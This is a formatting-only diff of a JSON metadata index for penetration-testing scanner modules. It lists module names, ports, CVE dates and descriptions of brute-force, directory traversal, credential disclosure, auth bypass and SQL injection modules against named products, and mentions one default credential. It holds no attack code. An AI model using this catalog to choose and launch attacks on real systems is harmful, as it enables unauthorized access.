{}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/riverbed_steelhead_vcx_file_read": { "name": "Riverbed SteelHead VCX File Read", "fullname": "auxiliary/scanner/http/riverbed_steelhead_vcx_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-06-01", "type": "auxiliary", @@ -41374,20 +36021,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/robots_txt": { "name": "HTTP Robots.txt Content Scanner", "fullname": "auxiliary/scanner/http/robots_txt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41395,9 +36037,7 @@ "et " ], "description": "Detect robots.txt files and analyze its content", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -41424,20 +36064,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/rpyc_rce": { "name": "RPyC 4.1.0 through 4.1.1 Remote Command Execution", "fullname": "auxiliary/scanner/http/rpyc_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-02-19", "type": "auxiliary", @@ -41454,12 +36089,8 @@ "platform": "", "arch": "", "rport": 18812, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-03-09 15:55:51 +0000", "path": "/modules/auxiliary/scanner/http/rpyc_rce.py", @@ -41468,20 +36099,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/s40_traversal": { "name": "S40 0.4.2 CMS Directory Traversal Vulnerability", "fullname": "auxiliary/scanner/http/s40_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-04-07", "type": "auxiliary", @@ -41520,20 +36146,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/sap_businessobjects_user_brute": { "name": "SAP BusinessObjects User Bruteforcer", "fullname": "auxiliary/scanner/http/sap_businessobjects_user_brute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41570,20 +36191,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/sap_businessobjects_user_brute_web": { "name": "SAP BusinessObjects Web User Bruteforcer", "fullname": "auxiliary/scanner/http/sap_businessobjects_user_brute_web", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41621,20 +36237,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/sap_businessobjects_user_enum": { "name": "SAP BusinessObjects User Enumeration", "fullname": "auxiliary/scanner/http/sap_businessobjects_user_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41671,20 +36282,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/sap_businessobjects_version_enum": { "name": "SAP BusinessObjects Version Detection", "fullname": "auxiliary/scanner/http/sap_businessobjects_version_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41721,20 +36327,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/scraper": { "name": "HTTP Page Scraper", "fullname": "auxiliary/scanner/http/scraper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41742,9 +36343,7 @@ "et " ], "description": "Scrape defined data from a specific web page based on a regular expression", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -41771,20 +36370,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/sentry_cdu_enum": { "name": "Sentry Switched CDU Bruteforce Login Utility", "fullname": "auxiliary/scanner/http/sentry_cdu_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41792,9 +36386,7 @@ "Karn Ganeshen " ], "description": "This module scans for ServerTech's Sentry Switched CDU (Cabinet Power\n Distribution Unit) web login portals, and performs login brute force\n to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -41821,20 +36413,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/servicedesk_plus_traversal": { "name": "ManageEngine ServiceDesk Plus Path Traversal", "fullname": "auxiliary/scanner/http/servicedesk_plus_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-10-03", "type": "auxiliary", @@ -41871,20 +36458,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/sevone_enum": { "name": "SevOne Network Performance Management Application Brute Force Login Utility", "fullname": "auxiliary/scanner/http/sevone_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-07", "type": "auxiliary", @@ -41892,9 +36474,7 @@ "Karn Ganeshen " ], "description": "This module scans for SevOne Network Performance Management System Application,\n finds its version, and performs login brute force to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -41921,20 +36501,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/simple_webserver_traversal": { "name": "Simple Web Server 2.3-RC1 Directory Traversal", "fullname": "auxiliary/scanner/http/simple_webserver_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-03", "type": "auxiliary", @@ -41975,20 +36550,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/simplehelp_toolbox_path_traversal": { "name": "SimpleHelp Path Traversal Vulnerability CVE-2024-57727", "fullname": "auxiliary/scanner/http/simplehelp_toolbox_path_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2025-01-12", "type": "auxiliary", @@ -42038,22 +36608,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/smt_ipmi_49152_exposure": { "name": "Supermicro Onboard IPMI Port 49152 Sensitive File Exposure", "fullname": "auxiliary/scanner/http/smt_ipmi_49152_exposure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-06-19", "type": "auxiliary", @@ -42094,20 +36658,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/smt_ipmi_cgi_scanner": { "name": "Supermicro Onboard IPMI CGI Vulnerability Scanner", "fullname": "auxiliary/scanner/http/smt_ipmi_cgi_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-06", "type": "auxiliary", @@ -42147,20 +36706,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/smt_ipmi_static_cert_scanner": { "name": "Supermicro Onboard IPMI Static SSL Certificate Scanner", "fullname": "auxiliary/scanner/http/smt_ipmi_static_cert_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-06", "type": "auxiliary", @@ -42176,12 +36730,8 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-12-04 17:41:24 +0000", "path": "/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb", @@ -42190,20 +36740,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/smt_ipmi_url_redirect_traversal": { "name": "Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal", "fullname": "auxiliary/scanner/http/smt_ipmi_url_redirect_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-06", "type": "auxiliary", @@ -42242,20 +36787,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/soap_xml": { "name": "HTTP SOAP Verb/Noun Brute Force Scanner", "fullname": "auxiliary/scanner/http/soap_xml", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -42263,9 +36803,7 @@ "aushack " ], "description": "This module attempts to brute force SOAP/XML requests to uncover\n hidden methods.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -42292,20 +36830,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/sockso_traversal": { "name": "Sockso Music Host Server 1.5 Directory Traversal", "fullname": "auxiliary/scanner/http/sockso_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-14", "type": "auxiliary", @@ -42343,20 +36876,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/softing_sis_login": { "name": "Softing Secure Integration Server Login Utility", "fullname": "auxiliary/scanner/http/softing_sis_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -42364,9 +36892,7 @@ "Imran E. Dawoodjee " ], "description": "This module will attempt to authenticate to a Softing Secure Integration Server.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8099, @@ -42394,28 +36920,18 @@ "post_auth": true, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/splunk_web_login": { "name": "Splunk Web Interface Login Utility", "fullname": "auxiliary/scanner/http/splunk_web_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -42424,9 +36940,7 @@ "sinn3r " ], "description": "This module simply attempts to login to a Splunk web interface. Please note the\n free version of Splunk actually does not require any authentication, in that case\n the module will abort trying. Also, some Splunk applications still have the\n default credential 'admin:changeme' written on the login page. If this default\n credential is found, the module will also store that information, and then move on\n to trying more passwords.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8000, @@ -42453,20 +36967,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/springcloud_directory_traversal": { "name": "Directory Traversal in Spring Cloud Config Server", "fullname": "auxiliary/scanner/http/springcloud_directory_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-01", "type": "auxiliary", @@ -42514,22 +37023,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/springcloud_traversal": { "name": "Spring Cloud Config Server Directory Traversal", "fullname": "auxiliary/scanner/http/springcloud_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-04-17", "type": "auxiliary", @@ -42568,20 +37071,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/squid_pivot_scanning": { "name": "Squid Proxy Port Scanner", "fullname": "auxiliary/scanner/http/squid_pivot_scanning", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -42590,9 +37088,7 @@ "0x44434241" ], "description": "A exposed Squid proxy will usually allow an attacker to make requests on\n their behalf. If misconfigured, this may give the attacker information\n about devices that they cannot normally reach. For example, an attacker\n may be able to make requests for internal IP addresses against an open\n Squid proxy exposed to the Internet, therefore performing a port scan\n against the internal network.\n\n The `auxiliary/scanner/http/open_proxy` module can be used to test for\n open proxies, though a Squid proxy does not have to be on the open\n Internet in order to allow for pivoting (e.g. an Intranet Squid proxy\n which allows the attack to pivot to another part of the internal\n network).\n\n This module will not be able to scan network ranges or ports denied by\n Squid ACLs. Fortunately it is possible to detect whether a host was up\n and the port was closed, or if the request was blocked by an ACL, based\n on the response Squid gives. This feedback is provided to the user in\n meterpreter `VERBOSE` output, otherwise only open and permitted ports\n are printed.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -42619,20 +37115,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/squiz_matrix_user_enum": { "name": "Squiz Matrix User Enumeration Scanner", "fullname": "auxiliary/scanner/http/squiz_matrix_user_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-08", "type": "auxiliary", @@ -42670,20 +37161,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/strapi_3_password_reset": { "name": "Strapi CMS Unauthenticated Password Reset", "fullname": "auxiliary/scanner/http/strapi_3_password_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-02-09", "type": "auxiliary", @@ -42729,25 +37215,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/support_center_plus_directory_traversal": { "name": "ManageEngine Support Center Plus Directory Traversal", "fullname": "auxiliary/scanner/http/support_center_plus_directory_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-01-28", "type": "auxiliary", @@ -42788,20 +37268,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/surgenews_user_creds": { "name": "SurgeNews User Credentials", "fullname": "auxiliary/scanner/http/surgenews_user_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-06-16", "type": "auxiliary", @@ -42842,25 +37317,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/svn_scanner": { "name": "HTTP Subversion Scanner", "fullname": "auxiliary/scanner/http/svn_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -42868,9 +37337,7 @@ "et " ], "description": "Detect subversion directories and files and analyze its content. Only SVN Version > 7 supported", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -42897,20 +37364,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/svn_wcdb_scanner": { "name": "SVN wc.db Scanner", "fullname": "auxiliary/scanner/http/svn_wcdb_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -42947,20 +37409,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/sybase_easerver_traversal": { "name": "Sybase Easerver 6.3 Directory Traversal", "fullname": "auxiliary/scanner/http/sybase_easerver_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-25", "type": "auxiliary", @@ -43001,20 +37458,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/symantec_brightmail_ldapcreds": { "name": "Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability", "fullname": "auxiliary/scanner/http/symantec_brightmail_ldapcreds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-17", "type": "auxiliary", @@ -43053,20 +37505,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/symantec_brightmail_logfile": { "name": "Symantec Messaging Gateway 9.5 Log File Download Vulnerability", "fullname": "auxiliary/scanner/http/symantec_brightmail_logfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-30", "type": "auxiliary", @@ -43108,20 +37555,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/symantec_web_gateway_login": { "name": "Symantec Web Gateway Login Utility", "fullname": "auxiliary/scanner/http/symantec_web_gateway_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -43129,9 +37571,7 @@ "sinn3r " ], "description": "This module will attempt to authenticate to a Symantec Web Gateway.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -43158,20 +37598,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/syncovery_linux_login": { "name": "Syncovery For Linux Web-GUI Login Utility", "fullname": "auxiliary/scanner/http/syncovery_linux_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -43179,9 +37614,7 @@ "Jan Rude" ], "description": "This module will attempt to authenticate to Syncovery File Sync & Backup Software For Linux Web-GUI.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": 8999, @@ -43212,25 +37645,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/syncovery_linux_token_cve_2022_36536": { "name": "Syncovery For Linux Web-GUI Session Token Brute-Forcer", "fullname": "auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-09-06", "type": "auxiliary", @@ -43272,25 +37697,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/synology_forget_passwd_user_enum": { "name": "Synology Forget Password User Enumeration Scanner", "fullname": "auxiliary/scanner/http/synology_forget_passwd_user_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-01-05", "type": "auxiliary", @@ -43338,22 +37755,16 @@ "account-lockouts", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/telerik_report_server_auth_bypass": { "name": "Telerik Report Server Auth Bypass", "fullname": "auxiliary/scanner/http/telerik_report_server_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-06-04", "type": "auxiliary", @@ -43399,9 +37810,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -43419,9 +37828,7 @@ "auxiliary_scanner/http/thinvnc_traversal": { "name": "ThinVNC Directory Traversal", "fullname": "auxiliary/scanner/http/thinvnc_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-10-16", "type": "auxiliary", @@ -43463,20 +37870,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/titan_ftp_admin_pwd": { "name": "Titan FTP Administrative Password Disclosure", "fullname": "auxiliary/scanner/http/titan_ftp_admin_pwd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -43513,20 +37915,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/title": { "name": "HTTP HTML Title Tag Content Grabber", "fullname": "auxiliary/scanner/http/title", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -43534,9 +37931,7 @@ "Stuart Morgan " ], "description": "Generates a GET request to the provided webservers and returns the server header,\n HTML title attribute and location header (if set). This is useful for rapidly identifying\n interesting web applications en mass.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -43563,20 +37958,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/tomcat_enum": { "name": "Apache Tomcat User Enumeration", "fullname": "auxiliary/scanner/http/tomcat_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -43616,20 +38006,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/tomcat_mgr_login": { "name": "Tomcat Application Manager Login Utility", "fullname": "auxiliary/scanner/http/tomcat_mgr_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -43689,20 +38074,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/totaljs_traversal": { "name": "Total.js prior to 3.2.4 Directory Traversal", "fullname": "auxiliary/scanner/http/totaljs_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-02-18", "type": "auxiliary", @@ -43743,8 +38123,7 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -43765,9 +38144,7 @@ "auxiliary_scanner/http/tplink_traversal_noauth": { "name": "TP-Link Wireless Lite N Access Point Directory Traversal Vulnerability", "fullname": "auxiliary/scanner/http/tplink_traversal_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -43808,20 +38185,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/trace": { "name": "HTTP Cross-Site Tracing Detection", "fullname": "auxiliary/scanner/http/trace", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -43860,20 +38232,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/trace_axd": { "name": "HTTP trace.axd Content Scanner", "fullname": "auxiliary/scanner/http/trace_axd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -43881,9 +38248,7 @@ "c4an" ], "description": "Detect trace.axd files and analyze its content", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -43910,20 +38275,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/tvt_nvms_traversal": { "name": "TVT NVMS-1000 Directory Traversal", "fullname": "auxiliary/scanner/http/tvt_nvms_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-12-12", "type": "auxiliary", @@ -43962,20 +38322,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/typo3_bruteforce": { "name": "Typo3 Login Bruteforcer", "fullname": "auxiliary/scanner/http/typo3_bruteforce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -43983,9 +38338,7 @@ "Christian Mehlmauer " ], "description": "This module attempts to bruteforce Typo3 logins.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -44012,20 +38365,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/vcms_login": { "name": "V-CMS Login Utility", "fullname": "auxiliary/scanner/http/vcms_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44033,9 +38381,7 @@ "sinn3r " ], "description": "This module attempts to authenticate to an English-based V-CMS login interface. It\n should only work against version v1.1 or older, because these versions do not have\n any default protections against brute forcing.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -44062,20 +38408,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/verb_auth_bypass": { "name": "HTTP Verb Authentication Bypass Scanner", "fullname": "auxiliary/scanner/http/verb_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44083,9 +38424,7 @@ "et " ], "description": "This module test for authentication bypass using different HTTP verbs.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -44112,20 +38451,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/vhost_scanner": { "name": "HTTP Virtual Host Brute Force Scanner", "fullname": "auxiliary/scanner/http/vhost_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44133,9 +38467,7 @@ "et " ], "description": "This module tries to identify unique virtual hosts\n hosted by the target web server.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -44162,20 +38494,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/vicidial_multiple_sqli": { "name": "VICIdial Multiple Authenticated SQLi", "fullname": "auxiliary/scanner/http/vicidial_multiple_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-04-19", "type": "auxiliary", @@ -44222,9 +38549,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -44254,9 +38579,7 @@ "auxiliary_scanner/http/vicidial_sql_enum_users_pass": { "name": "Vicidial SQL Injection Time-based Admin Credentials Enumeration", "fullname": "auxiliary/scanner/http/vicidial_sql_enum_users_pass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-09-10", "type": "auxiliary", @@ -44302,22 +38625,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wangkongbao_traversal": { "name": "WANGKONGBAO CNS-1000 and 1100 UTM Directory Traversal", "fullname": 